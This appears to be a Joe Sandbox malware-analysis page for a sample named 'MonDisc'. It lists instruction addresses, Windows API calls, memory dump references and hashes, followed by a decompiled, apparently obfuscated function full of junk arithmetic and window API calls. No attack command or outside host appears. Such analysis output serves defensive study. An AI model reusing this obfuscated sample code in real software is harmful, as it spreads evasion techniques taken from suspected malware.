0x7ff6ed0f8b1c
0x7ff6ed0f8b1e
0x7ff6ed0f8b25
0x7ff6ed0f8b2e
0x7ff6ed0f8b36
0x7ff6ed0f8b3a
0x7ff6ed0f8b3e
0x7ff6ed0f8b42
0x7ff6ed0f8b44
0x7ff6ed0f8b4b
0x7ff6ed0f8b54
0x7ff6ed0f8b5a
0x7ff6ed0f8b5e
0x7ff6ed0f8b65
0x7ff6ed0f8b6b
0x7ff6ed0f8b72
0x7ff6ed0f8b7d
0x7ff6ed0f8b83
0x7ff6ed0f8b89
0x7ff6ed0f8b8c
0x7ff6ed0f8b96
0x7ff6ed0f8b9f
0x7ff6ed0f8ba2
0x7ff6ed0f8ba4
0x7ff6ed0f8bae
0x7ff6ed0f8bbc
0x7ff6ed0f8bbe
0x7ff6ed0f8bc8
0x7ff6ed0f8bd1
0x7ff6ed0f8bd4
0x7ff6ed0f8bd6
0x7ff6ed0f8be0
0x7ff6ed0f8bf1
0x7ff6ed0f8bfb
0x7ff6ed0f8bfe
0x7ff6ed0f8c04
0x7ff6ed0f8c08
0x7ff6ed0f8c0c
0x7ff6ed0f8c12
0x7ff6ed0f8c1c
0x7ff6ed0f8c2a
0x7ff6ed0f8c2c
0x7ff6ed0f8c2e
0x7ff6ed0f8c38
0x7ff6ed0f8c48
0x7ff6ed0f8c4a
0x7ff6ed0f8c54
0x7ff6ed0f8c60
0x7ff6ed0f8c62
0x7ff6ed0f8c65
0x7ff6ed0f8c6f
0x7ff6ed0f8c72
0x7ff6ed0f8c78
0x7ff6ed0f8c7c
0x7ff6ed0f8c7e
0x7ff6ed0f8c88
0x7ff6ed0f8c93
0x7ff6ed0f8c99
0x7ff6ed0f8c9f
0x7ff6ed0f8cab
0x7ff6ed0f8cb5
0x7ff6ed0f8cbd
0x7ff6ed0f8cc3
0x7ff6ed0f8ccd
0x7ff6ed0f8cdb
0x7ff6ed0f8cdd
0x7ff6ed0f8cdf
0x7ff6ed0f8ce9
0x7ff6ed0f8cf4
0x7ff6ed0f8cf9
0x7ff6ed0f8cff
0x7ff6ed0f8d02
0x7ff6ed0f8d0c
0x7ff6ed0f8d15
0x7ff6ed0f8d18
0x7ff6ed0f8d1a
0x7ff6ed0f8d24
0x7ff6ed0f8d35
0x7ff6ed0f8d3f
0x7ff6ed0f8d42
0x7ff6ed0f8d48
0x7ff6ed0f8d4c
0x7ff6ed0f8d4e
0x7ff6ed0f8d54
0x7ff6ed0f8d5a
0x7ff6ed0f8d60
0x7ff6ed0f8d66
0x7ff6ed0f8d6c
0x7ff6ed0f8d72
0x7ff6ed0f8d7e
0x7ff6ed0f8d87
0x7ff6ed0f8d8a
0x7ff6ed0f8d8c
0x7ff6ed0f8d93
0x7ff6ed0f8d9e
0x7ff6ed0f8da4
0x7ff6ed0f8daa
0x7ff6ed0f8dac
0x7ff6ed0f8db2
0x7ff6ed0f8db9
0x7ff6ed0f8dc2
0x7ff6ed0f8dc4
0x7ff6ed0f8dc6
0x7ff6ed0f8dcd
0x7ff6ed0f8dd8
0x7ff6ed0f8ddd
0x7ff6ed0f8de3
0x7ff6ed0f8deb
0x7ff6ed0f8dee
0x7ff6ed0f8df5
0x7ff6ed0f8dfb
0x7ff6ed0f8e05
0x7ff6ed0f8e0e
0x7ff6ed0f8e12
0x7ff6ed0f8e16
0x7ff6ed0f8e1a
0x7ff6ed0f8e1c
0x7ff6ed0f8e1f
0x7ff6ed0f8e21
0x7ff6ed0f8e27
0x7ff6ed0f8e31
0x7ff6ed0f8e34
0x7ff6ed0f8e3b
0x7ff6ed0f8e41
0x7ff6ed0f8e4b
0x7ff6ed0f8e57
0x7ff6ed0f8e59
0x7ff6ed0f8e5d
0x7ff6ed0f8e5f
0x7ff6ed0f8e6b
0x7ff6ed0f8e74
0x7ff6ed0f8e7c
0x7ff6ed0f8e80
0x7ff6ed0f8e84
0x7ff6ed0f8e88
0x7ff6ed0f8e8a
0x7ff6ed0f8e8c
0x7ff6ed0f8e92
0x7ff6ed0f8e94
0x7ff6ed0f8e9b
0x7ff6ed0f8ea2
0x7ff6ed0f8ea4
0x7ff6ed0f8ea8
0x7ff6ed0f8eac
0x7ff6ed0f8eb0
0x7ff6ed0f8eb2
0x7ff6ed0f8eb6
0x7ff6ed0f8eba
0x7ff6ed0f8ec0
0x7ff6ed0f8ec6
0x7ff6ed0f8ecd
0x7ff6ed0f8ed8
0x7ff6ed0f8eda
0x7ff6ed0f8edd
0x7ff6ed0f8ee0
0x7ff6ed0f8eea
0x7ff6ed0f8eed
0x7ff6ed0f8ef6
0x7ff6ed0f8efc
0x7ff6ed0f8eff
0x7ff6ed0f8f05
0x7ff6ed0f8f09
0x7ff6ed0f8f0b
0x7ff6ed0f8f10
0x7ff6ed0f8f19
0x7ff6ed0f8f2a
0x7ff6ed0f8f2f
0x7ff6ed0f8f34
0x7ff6ed0f8f39
0x7ff6ed0f8f3d
0x7ff6ed0f8f3e
0x7ff6ed0f8f42
0x7ff6ed0f8f45
0x7ff6ed0f8f47
0x7ff6ed0f8f4f
0x7ff6ed0f8f58
0x7ff6ed0f8f60
0x7ff6ed0f8f64
0x7ff6ed0f8f68
0x7ff6ed0f8f6c
0x7ff6ed0f8f6e
0x7ff6ed0f8f76
0x7ff6ed0f8f7f
0x7ff6ed0f8f85
0x7ff6ed0f8f89
0x7ff6ed0f8f90
0x7ff6ed0f8f96
0x7ff6ed0f8f9a
0x7ff6ed0f8fa0
0x7ff6ed0f8fa6
0x7ff6ed0f8fae
0x7ff6ed0f8fb9
0x7ff6ed0f8fbf
0x7ff6ed0f8fc5
0x7ff6ed0f8fc8
0x7ff6ed0f8fd0
0x7ff6ed0f8fd9
0x7ff6ed0f8fdc
0x7ff6ed0f8fde
0x7ff6ed0f8fe6
0x7ff6ed0f8ff7
0x7ff6ed0f9001
0x7ff6ed0f9004
0x7ff6ed0f900a
0x7ff6ed0f900e
0x7ff6ed0f9012
0x7ff6ed0f901a
0x7ff6ed0f9020
0x7ff6ed0f9023
0x7ff6ed0f902b
0x7ff6ed0f9034
0x7ff6ed0f903c
0x7ff6ed0f904c
0x7ff6ed0f9053
0x7ff6ed0f9059
0x7ff6ed0f9063
0x7ff6ed0f9065
0x7ff6ed0f9072
0x7ff6ed0f9078
0x7ff6ed0f907b
0x7ff6ed0f907d
0x7ff6ed0f9080
0x7ff6ed0f9087
0x7ff6ed0f908d
0x7ff6ed0f9095
0x7ff6ed0f909e
0x7ff6ed0f90a2
0x7ff6ed0f90a6
0x7ff6ed0f90ae
0x7ff6ed0f90b4
0x7ff6ed0f90b8
0x7ff6ed0f90c2
0x7ff6ed0f90c5
0x7ff6ed0f90cb
0x7ff6ed0f90cf
0x7ff6ed0f90d1
0x7ff6ed0f90d6
0x7ff6ed0f90df
0x7ff6ed0f90e8
0x7ff6ed0f90eb
0x7ff6ed0f90ed
0x7ff6ed0f90f5
0x7ff6ed0f9100
0x7ff6ed0f9106
0x7ff6ed0f910c
0x7ff6ed0f9110
0x7ff6ed0f9116
0x7ff6ed0f9120
0x7ff6ed0f9128
0x7ff6ed0f912b
0x7ff6ed0f9132
0x7ff6ed0f9138
0x7ff6ed0f9140
0x7ff6ed0f9149
0x7ff6ed0f914d
0x7ff6ed0f9151
0x7ff6ed0f9155
0x7ff6ed0f9157
0x7ff6ed0f915d
0x7ff6ed0f915f
0x7ff6ed0f916c
0x7ff6ed0f9172
0x7ff6ed0f9175
0x7ff6ed0f9177
0x7ff6ed0f917a
0x7ff6ed0f9181
0x7ff6ed0f9187
0x7ff6ed0f918f
0x7ff6ed0f919b
0x7ff6ed0f91a1
0x7ff6ed0f91a5
0x7ff6ed0f91ab
0x7ff6ed0f91ca
0x7ff6ed0f91d0
0x7ff6ed0f91da
0x7ff6ed0f91e0
0x7ff6ed0f91e5
0x7ff6ed0f91f6
0x7ff6ed0f91fc
0x7ff6ed0f91ff
0x7ff6ed0f9201
0x7ff6ed0f9207
0x7ff6ed0f920d
0x7ff6ed0f9215
0x7ff6ed0f921e
0x7ff6ed0f9221
0x7ff6ed0f9223
0x7ff6ed0f922b
0x7ff6ed0f9236
0x7ff6ed0f923c
0x7ff6ed0f9242
0x7ff6ed0f9248
0x7ff6ed0f9250
0x7ff6ed0f9259
0x7ff6ed0f925c
0x7ff6ed0f925e
0x7ff6ed0f9266
0x7ff6ed0f9271
0x7ff6ed0f9277
0x7ff6ed0f927d
0x7ff6ed0f9285
0x7ff6ed0f928e
0x7ff6ed0f9291
0x7ff6ed0f9293
0x7ff6ed0f929b
0x7ff6ed0f92a6
0x7ff6ed0f92ac
0x7ff6ed0f92b2
0x7ff6ed0f92ba
0x7ff6ed0f92c3
0x7ff6ed0f92c6
0x7ff6ed0f92c8
0x7ff6ed0f92ce
0x7ff6ed0f92d6
0x7ff6ed0f92e1
0x7ff6ed0f92e7
0x7ff6ed0f92ed
0x7ff6ed0f92f3
0x7ff6ed0f92fb
0x7ff6ed0f9304
0x7ff6ed0f930c
0x7ff6ed0f930f
0x7ff6ed0f9313
0x7ff6ed0f9317
0x7ff6ed0f931b
0x7ff6ed0f931d
0x7ff6ed0f9327
0x7ff6ed0f9337
0x7ff6ed0f9339
0x7ff6ed0f9341
0x7ff6ed0f9347
0x7ff6ed0f934a
0x7ff6ed0f934c
0x7ff6ed0f9356
0x7ff6ed0f9361
0x7ff6ed0f9366
0x7ff6ed0f936c
0x7ff6ed0f9376
0x7ff6ed0f937f
0x7ff6ed0f9385
0x7ff6ed0f9389
0x7ff6ed0f9390
0x7ff6ed0f9396
0x7ff6ed0f93a2
0x7ff6ed0f93a4
0x7ff6ed0f93ad
0x7ff6ed0f93b0
0x7ff6ed0f93b2
0x7ff6ed0f93b8
0x7ff6ed0f93ba
0x7ff6ed0f93c0
0x7ff6ed0f93ca
0x7ff6ed0f93d1
0x7ff6ed0f93e7
0x7ff6ed0f93ef
0x7ff6ed0f93fc
0x7ff6ed0f9405
0x7ff6ed0f940b
0x7ff6ed0f940e
0x7ff6ed0f9418
0x7ff6ed0f941a
0x7ff6ed0f941f
0x7ff6ed0f9429
0x7ff6ed0f942c
0x7ff6ed0f9436
0x7ff6ed0f943f
0x7ff6ed0f9445
0x7ff6ed0f9448
0x7ff6ed0f944a
0x7ff6ed0f9454
0x7ff6ed0f945d
0x7ff6ed0f9465
0x7ff6ed0f946b
0x7ff6ed0f946f
0x7ff6ed0f9473
0x7ff6ed0f9477
0x7ff6ed0f9479
0x7ff6ed0f947d
0x7ff6ed0f947f
0x7ff6ed0f9482
0x7ff6ed0f9489
0x7ff6ed0f948f
0x7ff6ed0f9499
0x7ff6ed0f94a5
0x7ff6ed0f94a7
0x7ff6ed0f94ab
0x7ff6ed0f94ad
0x7ff6ed0f94b4
0x7ff6ed0f94ba
0x7ff6ed0f94c4
0x7ff6ed0f94cd
0x7ff6ed0f94cf
0x7ff6ed0f94d4
0x7ff6ed0f94e2
0x7ff6ed0f94ea
0x7ff6ed0f94f2
0x7ff6ed0f94f6
0x7ff6ed0f94fa
0x7ff6ed0f94fe
0x7ff6ed0f9500
0x7ff6ed0f9506
0x7ff6ed0f950e
0x7ff6ed0f9516
0x7ff6ed0f951c
0x7ff6ed0f9520
0x7ff6ed0f9527
0x7ff6ed0f952d
0x7ff6ed0f952f
0x7ff6ed0f9537
0x7ff6ed0f953f
0x7ff6ed0f9547
0x7ff6ed0f9551
0x7ff6ed0f9557
0x7ff6ed0f955f
0x7ff6ed0f9565
0x7ff6ed0f956d
0x7ff6ed0f9575
0x7ff6ed0f9578
0x7ff6ed0f957a
0x7ff6ed0f9582
0x7ff6ed0f958c
0x7ff6ed0f9592
0x7ff6ed0f9598
0x7ff6ed0f959e
0x7ff6ed0f95a6
0x7ff6ed0f95ac
0x7ff6ed0f95b4
0x7ff6ed0f95ba
0x7ff6ed0f95c0
0x7ff6ed0f95c6
0x7ff6ed0f95ce
0x7ff6ed0f95d6
0x7ff6ed0f95de
0x7ff6ed0f95e2
0x7ff6ed0f95e6
0x7ff6ed0f95ee
0x7ff6ed0f95f6
0x7ff6ed0f95fc
0x7ff6ed0f9600
0x7ff6ed0f9607
0x7ff6ed0f960d
0x7ff6ed0f9613
0x7ff6ed0f961b
0x7ff6ed0f9623
0x7ff6ed0f962b
0x7ff6ed0f962f
0x7ff6ed0f9633
0x7ff6ed0f9637
0x7ff6ed0f9639
0x7ff6ed0f963b
0x7ff6ed0f9643
0x7ff6ed0f964b
0x7ff6ed0f964f
0x7ff6ed0f9653
0x7ff6ed0f9657
0x7ff6ed0f9659
0x7ff6ed0f965d
0x7ff6ed0f9661
0x7ff6ed0f9667
0x7ff6ed0f9669
0x7ff6ed0f9671
0x7ff6ed0f967c
0x7ff6ed0f967e
0x7ff6ed0f9682
0x7ff6ed0f9686
0x7ff6ed0f968c
0x7ff6ed0f9693
0x7ff6ed0f9699
0x7ff6ed0f96a1
0x7ff6ed0f96ac
0x7ff6ed0f96ae
0x7ff6ed0f96b4
0x7ff6ed0f96c1
0x7ff6ed0f96c7
0x7ff6ed0f96ca
0x7ff6ed0f96cc
0x7ff6ed0f96d1
0x7ff6ed0f96dc
0x7ff6ed0f96e4
0x7ff6ed0f96e7
0x7ff6ed0f96ef
0x7ff6ed0f96f5
0x7ff6ed0f96fc
0x7ff6ed0f9706
0x7ff6ed0f970c
0x7ff6ed0f9712
0x7ff6ed0f9718
0x7ff6ed0f971e
0x7ff6ed0f9724
0x7ff6ed0f972b
0x7ff6ed0f9736
0x7ff6ed0f973c
0x7ff6ed0f973f
0x7ff6ed0f9745
0x7ff6ed0f974c
0x7ff6ed0f9752
0x7ff6ed0f9756
0x7ff6ed0f9758
0x7ff6ed0f9764
0x7ff6ed0f976e
0x7ff6ed0f9774
0x7ff6ed0f9779
0x7ff6ed0f9780
0x7ff6ed0f9788
0x7ff6ed0f9790
0x7ff6ed0f9794
0x7ff6ed0f9798
0x7ff6ed0f979c
0x7ff6ed0f97a2
0x7ff6ed0f97a5
0x7ff6ed0f97ab
0x7ff6ed0f97b5
0x7ff6ed0f97bc
0x7ff6ed0f97c2
0x7ff6ed0f97cc
0x7ff6ed0f97d7
0x7ff6ed0f97d9
0x7ff6ed0f97dd
0x7ff6ed0f97df
0x7ff6ed0f97eb
0x7ff6ed0f97f3
0x7ff6ed0f97f9
0x7ff6ed0f97fd
0x7ff6ed0f9804
0x7ff6ed0f980a
0x7ff6ed0f980f
0x7ff6ed0f9816
0x7ff6ed0f981e
0x7ff6ed0f9821
0x7ff6ed0f9823
0x7ff6ed0f982a
0x7ff6ed0f9834
0x7ff6ed0f983a
0x7ff6ed0f9840
0x7ff6ed0f9847
0x7ff6ed0f984f
0x7ff6ed0f9852
0x7ff6ed0f9854
0x7ff6ed0f985a
0x7ff6ed0f9861
0x7ff6ed0f9871
0x7ff6ed0f987e
0x7ff6ed0f9884
0x7ff6ed0f9887
0x7ff6ed0f9889
0x7ff6ed0f9890
0x7ff6ed0f9898
0x7ff6ed0f98a0
0x7ff6ed0f98a4
0x7ff6ed0f98a8
0x7ff6ed0f98ac
0x7ff6ed0f98ae
0x7ff6ed0f98b0
0x7ff6ed0f98b7
0x7ff6ed0f98bf
0x7ff6ed0f98c3
0x7ff6ed0f98c7
0x7ff6ed0f98cb
0x7ff6ed0f98cd
0x7ff6ed0f98d1
0x7ff6ed0f98d5
0x7ff6ed0f98db
0x7ff6ed0f98e2
0x7ff6ed0f98ea
0x7ff6ed0f98f2
0x7ff6ed0f98f6
0x7ff6ed0f98fa
0x7ff6ed0f98fe
0x7ff6ed0f9900
0x7ff6ed0f9906
0x7ff6ed0f990d
0x7ff6ed0f9915
0x7ff6ed0f991b
0x7ff6ed0f991f
0x7ff6ed0f9926
0x7ff6ed0f992c
0x7ff6ed0f9931
0x7ff6ed0f9938
0x7ff6ed0f9940
0x7ff6ed0f9943
0x7ff6ed0f9945
0x7ff6ed0f9948
0x7ff6ed0f994f
0x7ff6ed0f9955
0x7ff6ed0f995f
0x7ff6ed0f996a
0x7ff6ed0f996c
0x7ff6ed0f9970
0x7ff6ed0f9972
0x7ff6ed0f997c
0x7ff6ed0f997e
0x7ff6ed0f9985
0x7ff6ed0f998b
0x7ff6ed0f9992
0x7ff6ed0f999d
0x7ff6ed0f999f
0x7ff6ed0f99a3
0x7ff6ed0f99a5
0x7ff6ed0f99af
0x7ff6ed0f99b6
0x7ff6ed0f99c0
0x7ff6ed0f99c6
0x7ff6ed0f99cc
0x7ff6ed0f99d6
0x7ff6ed0f99dc
0x7ff6ed0f99e2
0x7ff6ed0f99e8
0x7ff6ed0f99ee
0x7ff6ed0f99f5
0x7ff6ed0f99fd
0x7ff6ed0f9a00
0x7ff6ed0f9a04
0x7ff6ed0f9a0a
0x7ff6ed0f9a11
0x7ff6ed0f9a1b
0x7ff6ed0f9a21
0x7ff6ed0f9a27
0x7ff6ed0f9a29
0x7ff6ed0f9a30
0x7ff6ed0f9a38
0x7ff6ed0f9a40
0x7ff6ed0f9a44
0x7ff6ed0f9a48
0x7ff6ed0f9a4c
0x7ff6ed0f9a4e
0x7ff6ed0f9a54
0x7ff6ed0f9a5b
0x7ff6ed0f9a63
0x7ff6ed0f9a69
0x7ff6ed0f9a6d
0x7ff6ed0f9a74
0x7ff6ed0f9a7c
0x7ff6ed0f9a82
0x7ff6ed0f9a85
0x7ff6ed0f9a8f
0x7ff6ed0f9a92
0x7ff6ed0f9a98
0x7ff6ed0f9a9c
0x7ff6ed0f9a9e
0x7ff6ed0f9aa4
0x7ff6ed0f9aaa
0x7ff6ed0f9aaf
0x7ff6ed0f9ab4
0x7ff6ed0f9abc
0x7ff6ed0f9ac4
0x7ff6ed0f9ac8
0x7ff6ed0f9acc
0x7ff6ed0f9ad0
0x7ff6ed0f9ad2
0x7ff6ed0f9adc
0x7ff6ed0f9ae3
0x7ff6ed0f9aeb
0x7ff6ed0f9aef
0x7ff6ed0f9af4
0x7ff6ed0f9af8
0x7ff6ed0f9aff
0x7ff6ed0f9b05
0x7ff6ed0f9b0c
0x7ff6ed0f9b14
0x7ff6ed0f9b1c
0x7ff6ed0f9b21
0x7ff6ed0f9b25
0x7ff6ed0f9b2b
0x7ff6ed0f9b32
0x7ff6ed0f9b3d
0x7ff6ed0f9b43
0x7ff6ed0f9b46
0x7ff6ed0f9b4b
0x7ff6ed0f9b51
0x7ff6ed0f9b53
0x7ff6ed0f9b57
0x7ff6ed0f9b5a

APIs

IsIconic.USER32 ref: 00007FF6ED0F8406

Part of subcall function 00007FF6ED0F56BC: GetMessageExtraInfo.USER32 ref: 00007FF6ED0F5751
Part of subcall function 00007FF6ED0F56BC: AnyPopup.USER32 ref: 00007FF6ED0F5757
Part of subcall function 00007FF6ED0F56BC: GetWindowTextLengthW.USER32 ref: 00007FF6ED0F5761
Part of subcall function 00007FF6ED0F56BC: IsZoomed.USER32 ref: 00007FF6ED0F577A

GetMessageTime.USER32 ref: 00007FF6ED0F8490
GetLastActivePopup.USER32 ref: 00007FF6ED0F84E0
GetDesktopWindow.USER32 ref: 00007FF6ED0F84E6
GetTopWindow.USER32 ref: 00007FF6ED0F84EE
GetCurrentProcess.KERNEL32 ref: 00007FF6ED0F84F4
AnyPopup.USER32 ref: 00007FF6ED0F852C

Memory Dump Source

Source File: 0000000F.00000002.460721727.00007FF6ED0F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF6ED0F0000, based on PE: true

Associated: 0000000F.00000002.460678290.00007FF6ED0F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.462491399.00007FF6ED1EE000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463407838.00007FF6ED236000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463433786.00007FF6ED239000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463580899.00007FF6ED248000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463744441.00007FF6ED262000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463787572.00007FF6ED3BD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463880996.00007FF6ED3BF000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.464361983.00007FF6ED3F0000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_7ff6ed0f0000_MonDisc.jbxd

Similarity

API ID: PopupWindow$Message$ActiveCurrentDesktopExtraIconicInfoLastLengthProcessTextTimeZoomed
String ID:
API String ID: 4133814404-0
Opcode ID: 7675edd059d30eba094bff5d3b99d3534c4a9bcfa657b59bcbe04e52a15992e7
Instruction ID: 104f0fe6311b713c1591dc01921ea7d8778a2c7f79aef014e44d377fe42b3b7a
Opcode Fuzzy Hash: 7675edd059d30eba094bff5d3b99d3534c4a9bcfa657b59bcbe04e52a15992e7
Instruction Fuzzy Hash: B66279A7E289034AF604AF349D5A3F922956F25214F78063AD10AD72D7FF3EF149810E

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6ED0F81BD Relevance: 48.6, APIs: 32, Instructions: 585
COMMONCrypto

Download Yara Rule

C-Code - Quality: 61%

			E00007FF67FF6ED0F81BD(char _a144, long long _a152) {
				signed int _t113;
				signed int _t117;
				signed int _t123;
				signed int _t130;
				signed int _t147;
				signed int _t159;
				signed int _t166;
				signed int _t171;
				signed int _t177;
				signed int _t182;
				signed int _t203;
				signed int _t209;
				signed int _t219;
				signed int _t236;
				signed int _t241;
				signed int _t253;
				signed int _t259;
				signed int _t276;
				signed int _t293;
				signed int _t298;
				signed int _t303;
				signed int _t327;
				signed int _t333;
				signed int _t338;
				signed int _t343;
				signed int _t348;
				signed int _t353;
				signed int _t358;
				signed int _t363;
				signed int _t399;
				signed int _t405;
				signed int _t429;
				signed int _t435;
				signed int _t452;
				signed int _t457;
				signed int _t462;
				signed int _t467;
				signed int _t472;
				signed int _t479;
				signed int _t484;
				signed int _t489;
				signed int _t496;
				signed int _t503;
				signed int _t508;
				signed int _t513;
				signed int _t518;
				signed int _t528;
				signed int _t533;
				signed int _t538;
				signed int _t543;
				signed int _t555;
				signed int _t565;
				signed int _t573;
				signed int _t580;
				signed int _t585;
				signed int _t588;
				signed int _t601;
				signed int _t606;
				signed int _t611;
				signed int _t624;
				signed int _t640;
				signed int _t645;
				signed int _t660;
				short _t666;
				signed int _t670;
				signed int _t675;
				signed int _t681;
				signed int _t686;
				signed int _t691;
				signed int _t696;
				signed int _t701;
				signed int _t707;
				signed int _t718;
				signed int _t724;
				signed int _t737;
				signed int _t742;
				signed int _t759;
				signed int _t788;
				signed int _t794;
				signed int _t799;
				signed int _t834;
				signed int _t840;
				signed int _t846;
				signed int _t852;
				signed int _t858;
				signed int _t865;
				signed int _t876;
				signed int _t888;
				signed int _t893;
				signed int _t898;
				signed int _t903;
				signed int _t934;
				signed int _t940;
				signed int _t947;
				signed int _t952;
				signed int _t960;
				signed int _t965;
				signed int _t1002;
				signed int _t1008;
				void* _t1010;
				signed char _t1029;
				signed char _t1115;
				signed int _t1172;
				signed int _t1181;
				void* _t1190;
				void* _t1193;
				void* _t1194;
				signed int _t1196;
				void* _t1197;
				void* _t1201;
				void* _t1202;
				void* _t1204;
				void* _t1205;
				void* _t1206;
				void* _t1207;
				void* _t1208;
				void* _t1209;
				void* _t1212;
				void* _t1213;
				void* _t1214;
				void* _t1216;
				void* _t1217;
				void* _t1218;
				void* _t1219;
				void* _t1220;
				void* _t1221;
				void* _t1222;
				void* _t1223;
				void* _t1225;
				void* _t1226;
				void* _t1227;
				void* _t1228;
				void* _t1229;
				void* _t1231;
				void* _t1232;
				void* _t1233;
				void* _t1237;
				void* _t1239;
				void* _t1240;
				void* _t1243;
				void* _t1245;
				void* _t1246;
				void* _t1247;
				void* _t1248;
				void* _t1250;
				void* _t1252;
				void* _t1253;
				void* _t1256;
				void* _t1257;
				void* _t1258;
				void* _t1259;
				void* _t1260;
				void* _t1262;
				void* _t1263;
				void* _t1264;
				void* _t1265;
				void* _t1266;
				void* _t1267;
				void* _t1269;
				void* _t1270;
				void* _t1273;
				void* _t1276;
				void* _t1277;
				void* _t1278;
				void* _t1280;
				void* _t1283;
				void* _t1285;
				void* _t1286;
				void* _t1287;
				void* _t1289;
				void* _t1293;
				void* _t1294;
				void* _t1295;
				void* _t1296;
				void* _t1297;
				void* _t1298;
				void* _t1299;
				void* _t1300;
				void* _t1301;
				void* _t1303;
				void* _t1304;
				void* _t1306;
				void* _t1311;
				void* _t1312;
				void* _t1314;
				void* _t1315;
				void* _t1316;
				void* _t1317;
				void* _t1319;
				void* _t1321;
				void* _t1322;
				void* _t1323;
				void* _t1325;
				void* _t1326;
				void* _t1328;
				void* _t1329;
				void* _t1330;
				void* _t1331;
				void* _t1333;
				void* _t1334;
				void* _t1336;
				void* _t1338;
				void* _t1339;
				void* _t1340;
				void* _t1341;
				void* _t1342;
				void* _t1343;
				long long _t1346;
				void* _t1347;
				void* _t1348;
				void* _t1353;
				void* _t1358;
				void* _t1359;
				void* _t1360;
				void* _t1362;
				void* _t1363;
				void* _t1364;
				void* _t1365;
				void* _t1366;
				void* _t1367;

				_t113 =  *((intOrPtr*)(_t1346 + 0x72))();
				 *(_t1348 - 0x3e49f0d8) =  *(_t1348 - 0x3e49f0d8) << 1;
				 *0xed236f60 = _t113;
				if (_t1010 + _t1008 - 0x3c < 0) goto 0xed0f81c3;
				dil = 0x41;
				 *0xed236f60 = 0x24;
				if (0x24 + _t1008 - 0x31 < 0) goto 0xed0f81da;
				dil = dil + _t1008;
				 *0xed236f60 = dil & 0xffffffff;
				_t117 = E00007FF67FF6ED184484(_t1346) & 0x8000007f;
				if (_t117 >= 0) goto 0xed0f8208;
				if ((_t117 - _t1008 | _t1181) + _t1008 - 0x64 < 0) goto 0xed0f8215;
				_t1190 = dil - 0x55;
				if (_t1190 < 0) goto 0xed0f81d8;
				dil = 0x2b;
				GetCurrentProcess();
				dil = dil + _t1008;
				 *0xed236f60 = dil & 0xffffffff;
				_t123 = E00007FF67FF6ED184484(_t1346);
				if (_t1190 >= 0) goto 0xed0f823d;
				if (((_t123 & 0x8000007f) - _t1008 | _t1181) + _t1008 - 0x25 >= 0) goto 0xed0f8247;
				if (dil - sil < 0) goto 0xed0f8218;
				dil = 6;
				E00007FF67FF6ED184484(_t1346);
				goto 0xed0f826e;
				_t1193 = dil - 8;
				if (_t1193 >= 0) goto 0xed0f827d;
				dil = dil + _t1008;
				 *0xed236f60 = dil & 0xffffffff;
				_t130 = E00007FF67FF6ED184484(_t1346);
				if (_t1193 >= 0) goto 0xed0f8278;
				_t1194 = ((_t130 & 0x8000007f) - _t1008 | _t1181) + _t1008 - 0x1a;
				if (_t1194 == 0) goto 0xed0f8256;
				 *0xed236f60 = _t1008;
				dil = 0x44;
				E00007FF67FF6ED184484(_t1346);
				if (_t1194 >= 0) goto 0xed0f8295;
				asm("movsd xmm6, [0x1118e3]");
				goto 0xed0f82ce;
				if (dil - bpl >= 0) goto 0xed0f82dc;
				GetParent();
				dil = dil + _t1008;
				 *0xed236f60 = dil & 0xffffffff;
				_t1196 = E00007FF67FF6ED184484(_t1346) & 0x8000007f;
				if (_t1196 >= 0) goto 0xed0f82ce;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, xmm6");
				if (_t1196 >= 0) goto 0xed0f82a4;
				 *0xed236f60 = _t1008;
				sil = 0x24;
				_t147 = E00007FF67FF6ED184484(_t1346);
				if (_t1196 >= 0) goto 0xed0f82fa;
				_t1197 = ((_t147 & 0x8000007f) - _t1008 | 0xffffff80) + _t1008 - 0x5f;
				if (_t1197 <= 0) goto 0xed0f8321;
				GetTopWindow(??);
				E00007FF67FF6ED184484(_t1346);
				if (_t1197 >= 0) goto 0xed0f8317;
				goto 0xed0f838e;
				_t159 = E00007FF67FF6ED184484(_t1346) & 0x8000007f;
				if (_t159 >= 0) goto 0xed0f8331;
				if ((_t159 - _t1008 | 0xffffff80) + _t1008 != 0x58) goto 0xed0f8342;
				AnyPopup();
				E00007FF67FF6ED184484(_t1346);
				goto 0xed0f837c;
				dil = 0x28;
				goto 0xed0f835a;
				_t1201 = dil - 0x2c;
				if (_t1201 >= 0) goto 0xed0f8372;
				dil = dil + _t1008;
				 *0xed236f60 = dil & 0xffffffff;
				_t166 = E00007FF67FF6ED184484(_t1346);
				if (_t1201 >= 0) goto 0xed0f836d;
				_t1202 = ((_t166 & 0x8000007f) - _t1008 | 0xffffff80) + _t1008 - 0x43;
				if (_t1202 != 0) goto 0xed0f8347;
				_t171 = E00007FF67FF6ED184484(_t1346);
				if (_t1202 >= 0) goto 0xed0f8387;
				sil = sil + _t1008;
				 *0xed236f60 = 0 | ((_t171 & 0x8000007f) - _t1008 | 0xffffff80) + _t1008 == 0x00000058;
				 *0xed236f60 = sil & 0xffffffff;
				_t1204 = sil - 0x2a;
				if (_t1204 < 0) goto 0xed0f82ea;
				_t177 = E00007FF67FF6ED184484(_t1346);
				if (_t1204 >= 0) goto 0xed0f83bb;
				_t1205 = ((_t177 & 0x8000007f) - _t1008 | 0xffffff80) + _t1008 - 0x1f;
				if (_t1205 > 0) goto 0xed0f83de;
				_t182 = E00007FF67FF6ED184484(_t1346);
				if (_t1205 >= 0) goto 0xed0f83d0;
				_t1206 = ((_t182 & 0x8000007f) - _t1008 | 0xffffff80) + _t1008 - 0x1f;
				 *0xed236f60 = 0 | _t1206 <= 0x00000000;
				E00007FF67FF6ED184484(_t1346);
				if (_t1206 >= 0) goto 0xed0f83ee;
				asm("movsd xmm6, [0x111782]");
				asm("movd xmm0, eax");
